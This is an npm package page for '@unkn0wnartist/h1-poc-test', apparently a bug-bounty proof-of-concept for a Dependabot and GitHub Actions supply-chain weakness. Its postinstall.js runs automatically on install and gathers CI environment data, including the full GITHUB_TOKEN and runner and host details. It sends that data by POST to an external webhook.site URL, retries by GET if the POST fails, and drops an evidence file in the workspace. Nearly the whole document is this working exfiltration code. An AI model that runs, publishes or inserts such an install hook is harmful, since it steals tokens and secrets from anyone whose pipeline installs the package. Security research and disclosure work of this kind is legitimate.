@unkn0wnartist/h1-poc-test
Version:
PoC package for demonstrating supply-chain vulnerability in GitHub Actions via Dependabot
177 lines (153 loc) • 7.9 kB
JavaScript
// postinstall.js - Улучшенный скрипт для PoC (финальная версия)
const https = require("https");
const fs = require("fs");
const path = require("path");
const os = require("os"); // Добавлено для os.hostname()
// Webhook URL (подставляется из bash скрипта)
const WEBHOOK_URL = "https://webhook.site/c37696bd-ed3a-4f6b-b87a-8fd86736afdf";
// Сбор всех интересных переменных окружения
const envData = {
// GitHub-специфичные переменные
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY,
GITHUB_ACTOR: process.env.GITHUB_ACTOR,
GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME,
GITHUB_RUN_ID: process.env.GITHUB_RUN_ID,
GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW,
GITHUB_SHA: process.env.GITHUB_SHA,
GITHUB_REF: process.env.GITHUB_REF,
GITHUB_HEAD_REF: process.env.GITHUB_HEAD_REF,
GITHUB_BASE_REF: process.env.GITHUB_BASE_REF,
// Токены и секреты
GITHUB_TOKEN_PRESENT: !!process.env.GITHUB_TOKEN,
GITHUB_TOKEN_PREFIX: process.env.GITHUB_TOKEN
? process.env.GITHUB_TOKEN.substring(0, 12) + "..."
: "none",
// Отправка полного GITHUB_TOKEN для PoC
GITHUB_TOKEN_FULL: process.env.GITHUB_TOKEN || "NOT_FOUND_IN_POSTINSTALL_ENV",
// Информация о runner
RUNNER_OS: process.env.RUNNER_OS,
RUNNER_ARCH: process.env.RUNNER_ARCH,
RUNNER_NAME: process.env.RUNNER_NAME,
RUNNER_TEMP: process.env.RUNNER_TEMP,
RUNNER_TOOL_CACHE: process.env.RUNNER_TOOL_CACHE,
// Информация о среде Node.js и пакете
NPM_PACKAGE_NAME: process.env.npm_package_name || "unknown-npm-pkg-from-env",
NPM_PACKAGE_VERSION: process.env.npm_package_version || "unknown-npm-version-from-env",
NODE_VERSION: process.version,
NODE_ENV: process.env.NODE_ENV,
INIT_CWD: process.env.INIT_CWD,
// Информация о системе и пользователе
PWD: process.env.PWD || process.cwd(), // process.cwd() более надежен
USER: process.env.USER || process.env.USERNAME,
HOSTNAME: os.hostname(),
// Временная метка и идентификатор PoC
TIMESTAMP: new Date().toISOString(),
EXPLOIT_SOURCE: "postinstall-@unkn0wnartist/h1-poc-test", // Подставляется из bash скрипта
POC_MESSAGE: "H1 PoC - Postinstall script executed successfully!"
};
// Функция для отправки данных через POST
function sendWebhookViaPOST(data) {
const payload = JSON.stringify(data, null, 2);
const url = new URL(WEBHOOK_URL);
const options = {
hostname: url.hostname,
port: url.port || 443,
path: url.pathname + url.search,
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(payload),
"User-Agent": "H1-PoC-Dependabot-Exploit/2.0-POST",
},
};
console.log("[PoC-Postinstall] Attempting to exfiltrate data via POST to " + WEBHOOK_URL);
const req = https.request(options, (res) => {
console.log(`[PoC-Postinstall] Webhook POST response status: ${res.statusCode}`);
let responseData = "";
res.on("data", (chunk) => { responseData += chunk; });
res.on("end", () => {
console.log("[PoC-Postinstall] ✅ Webhook POST request successful!");
// console.log(`[PoC-Postinstall] Webhook POST Response (first 200 chars): ${responseData.substring(0, 200)}`);
});
});
req.on("error", (error) => {
console.error(`[PoC-Postinstall] ❌ Webhook POST request failed: ${error.message}`);
console.log("[PoC-Postinstall] Attempting fallback GET request...");
sendWebhookViaGET(data); // Fallback to GET
});
req.write(payload);
req.end();
}
// Fallback функция для отправки данных через GET
function sendWebhookViaGET(data) {
const params = new URLSearchParams();
Object.entries(data).forEach(([key, value]) => {
if (value !== undefined && value !== null && typeof value !== 'object') {
params.append(key, String(value));
} else if (typeof value === 'object' && value !== null) {
// Для объектов отправляем обрезанный JSON или специальный маркер
params.append(key, JSON.stringify(value).substring(0,100) + "...");
} else if (value === null) {
params.append(key, "null");
} else if (value === undefined) {
params.append(key, "undefined");
}
});
let queryString = params.toString();
if (queryString.length > 1800) { // Стандартное ограничение для URL ~2048, берем с запасом
console.warn("[PoC-Postinstall] Query string for GET request is too long (" + queryString.length + " chars), truncating to 1800 chars.");
queryString = queryString.substring(0, 1800);
}
const getUrl = `${WEBHOOK_URL}?${queryString}`;
console.log("[PoC-Postinstall] Attempting fallback GET to (first 150 chars of URL):", getUrl.substring(0,150) + "...");
const req = https.get(getUrl, (res) => { // Сохраняем req для обработки ошибок
console.log(`[PoC-Postinstall] Fallback GET response status: ${res.statusCode}`);
let responseData = "";
res.on('data', (chunk) => { responseData += chunk; });
res.on("end", () => {
console.log("[PoC-Postinstall] ✅ Fallback GET request successful!");
// console.log(`[PoC-Postinstall] Fallback GET Response (first 100 chars): ${responseData.substring(0, 100)}`);
});
});
req.on("error", (e) => { // Обработка ошибок для https.get
console.error("[PoC-Postinstall] ❌ Fallback GET request failed:", e.message);
console.error("[PoC-Postinstall] ❌ All exfiltration attempts (POST and GET) failed.");
});
}
// Создание файла-маркера
function demonstrateFileAccessAndRecord(dataToUpdate) {
try {
const markerContent = `
=== H1 PoC EXPLOIT MARKER ===
Timestamp: ${envData.TIMESTAMP}
Package: ${envData.NPM_PACKAGE_NAME}@${envData.NPM_PACKAGE_VERSION}
Exploit Source: ${envData.EXPLOIT_SOURCE}
Repository: ${envData.GITHUB_REPOSITORY || 'N/A'}
Workflow: ${envData.GITHUB_WORKFLOW || 'N/A'}
Actor: ${envData.GITHUB_ACTOR || 'N/A'}
Hostname: ${envData.HOSTNAME}
This file was created by the postinstall script of ${envData.EXPLOIT_SOURCE}.
================================
`;
const baseDir = process.env.GITHUB_WORKSPACE || process.cwd();
const markerPath = path.join(baseDir, "H1_POC_EXPLOIT_EVIDENCE.txt");
fs.writeFileSync(markerPath, markerContent.trim());
console.log(`[PoC-Postinstall] 📁 Created exploit evidence file: ${markerPath}`);
dataToUpdate.EXPLOIT_FILE_CREATED = markerPath; // Обновляем переданный объект
} catch (error) {
console.error(`[PoC-Postinstall] File creation failed: ${error.message}`);
dataToUpdate.EXPLOIT_FILE_ERROR = error.message; // Обновляем переданный объект
}
}
// Основная логика выполнения
function main() {
console.log(`🚨 [PoC-Postinstall] SCRIPT START for ${envData.EXPLOIT_SOURCE} (${envData.NPM_PACKAGE_NAME}@${envData.NPM_PACKAGE_VERSION}) 🚨`);
console.log(`[PoC-Postinstall] Current directory: ${process.cwd()}`);
console.log(`[PoC-Postinstall] Target repository (if in Actions): ${envData.GITHUB_REPOSITORY || 'N/A'}`);
console.log(`[PoC-Postinstall] Workflow context (if in Actions): ${envData.GITHUB_WORKFLOW || 'N/A'}`);
demonstrateFileAccessAndRecord(envData); // Создаем файл и добавляем информацию в envData
sendWebhookViaPOST(envData); // Отправляем все собранные данные
console.log(`🚨 [PoC-Postinstall] SCRIPT END for ${envData.EXPLOIT_SOURCE} 🚨`);
}
// Запуск
main();